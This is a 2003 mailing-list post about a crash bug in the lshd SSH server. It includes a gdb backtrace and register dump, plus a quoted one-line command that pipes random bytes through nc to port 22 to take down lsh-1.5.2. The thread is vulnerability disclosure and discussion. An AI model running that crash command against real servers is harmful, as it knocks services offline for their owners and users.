From: dotslash at snosoft.com (KF)
Subject: new ssh exploit?

Just in case anyone cares...

(gdb) r
Starting program: /usr/local/sbin/lshd
lshd: 
8\bed!\842@\b1\90\bb\b1\8f\a5?\cb\d1\f4\855\bf\a3\9a\cc\b8\d7_\be\bc\05}\d4\ef\aa\ba\f0\d4\e6\e14wd\02\1c1\91\9a\bd\d8\a8x]\92To\ddM\1d\f5\b4\a2\d0\86\bd\df\e8M\c89B\1a{\b9b\fb\8a\d4\1d\05Q2\eb\c0\fdIi\18q\98
lshd: Protocol error: Line too long.
lshd: 
{H\87Z\9e\b3lW\ae,\a8\b9)\bc\8e\d1v\c9\d3\02x\d5\bd\dc\b6Q\b8\97\df,K\09\b8\0c\17\f2=\9b9P\15\ea\cc\15>\bc/2\d12\13\e1y\1cL\10\8d\a1\0c>\e5;\12\8f\a6\f4\fa\e6\ae\db{\ed\dd\1a\00N\dfn\b5\05\eai\ca]\d3BX\b5\9a6BG\a5\8e&k\caJ_\f6\cf\b0\80i\ddQ\c1\7fC\ed\9a\11ks\e2\9c;/h\8b\af\f6!\c7\8a\81\c8\95D\b9\07\bdq\cd\fd\e3\19\08\859\9d\d3\c9\b7\9c\a67BW\19\86\f8\cbD'\1f\01\\\1e\02\ad\cd\c8ZO\08\07\f3a"~\0ewU'7\16\c7\19X|\12\08\f5\aeE1\c9\cbhG\15\df\ea\ff\f0\071\8c\83\bd\b4.5,G\9db\83IT\94\fc\ad\d4\09\99\c1\ffD\d7\cb\ff\85\c3\c8Y`\8f\f4P\e15u\10P\1e?\864\908i\1b\0e\ac\af\bf\d0J\e9\89o\ee\ec:z>p\93\f5\10;\e9\94c\ac<\ee>\d7\bb\a2\ef\9c|\f4\daS\d4Y/\89\d3\c8\9dw\b5\f9X4H?\f1\1c\a0\be\a4\a8\b2:\cf\b1a\df\c9\85b}\8a\92\dd\f1`\86\b3\c5\dae\16*f\9e\b7\92\e2\05}E\b1\c5\e9\f1x\db\e7+/\fc\f2\aaT\e8\0bB\a4\b3\b8\cbv]\9d\f9\855\ca@\fc\aa\b1\82\daA\80\f7f\a8\92\a6\04\08\fbXs"tO\df\f2j\a3?\e8\aa<d\09\d2y\c35+\01b\10\95\a2V\ecG\0b\1a\13\18\9f\02\b3\fc\19\e7ad) 
\96\0e\db\e1\c1\1cI\c7\89\c3\b57\8b\ee\1e\ee\c6.\15Y\08\b7\d6ofH\e7=}\9f\13\d9[w\ec\82=\f9\c4E\0f2\ef\d9\8fe\11Sc\cb 
\b3SC\af\9b\cf\9fc\e8>\b6\f5\ad\e2g\a3'\d0\97\1f$\8a\a9\f0\de\14$Z\936\dd\99\a2\a1 
\d4\95\18\b8\eeTv\8c.\03*\baS\f4\83\03^\fa\f9\0f-\df\a0\12\19\a3\9d\a8+\faRg1\15\e4\bf{\1c\ed\a9\cb\c3\15J\a5\c5}\17

Program received signal SIGSEGV, Segmentation fault.
0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
160               KILL_RESOURCE(r);
(gdb) bt
#0  0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
#1  0x08050b1f in connection_die (c=0x58f9b577) at connection.c:485
#2  0x08056a4f in close_fd (fd=0x809bef8) at io.c:1848
#3  0x08054be6 in lsh_oop_fd_write_callback (s=0x808ef28, fileno=1492759927,
     event=OOP_WRITE, data=0x809bef8) at io.c:182
#4  0x40084e61 in oop_sys_run (sys=0x808ef28) at sys.c:368
#5  0x08055065 in io_run () at io.c:331
#6  0x0804b442 in main (argc=1, argv=0xbfffe264) at lshd.c:1116
#7  0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) i r
eax            0x58f9b577       1492759927
ecx            0x808ef28        134803240
edx            0x0      0
ebx            0x809bef8        134856440
esp            0xbfffdf60       0xbfffdf60
ebp            0xbfffdf88       0xbfffdf88
esi            0x809b788        134854536
edi            0x8099ee0        134848224
eip            0x805a477        0x805a477

-KF



Bennett Todd wrote:
> 2003-09-17T08:17:43 Bennett Todd:
> 
>>2003-09-16T21:16:34 Blue Boar:
>>
>>>Out of curiosity, what leads you to believe that lshd will be
>>>better in terms of future bugs vs. OpenSSH?
>>
>>Good question.
> 
> 
> Better question; thanks to a tip from a friend, I can provide
> concrete evidence to the contrary.
> 
> This command:
> 
>     dd if=/dev/urandom bs=1024 count=1|nc <hostname> 22 >/dev/null
> 
> takes down an lsh-1.5.2 reliably taking no more than 2-3 tries on
> average.
> 
> The same, both in the above form and with 10kb of urandom per blat,
> doesn't bother openssh-3.7.1 for hundreds of tries.
> 
> I tried emailing this to lsh-bugs, got some moronic thing from some
> idiot third-party anti-spam service "please send this special email
> to this special place and we might think about letting your message
> through". Right.
> 
> So much for lshd, at least for now. Back to the patch-n-grind of
> openssh.
> 
> Anybody know of an ssh implementation --- even just the server side
> --- that's actually tight clean secure code?
> 
> -Bennett

Powered by blists - more mailing lists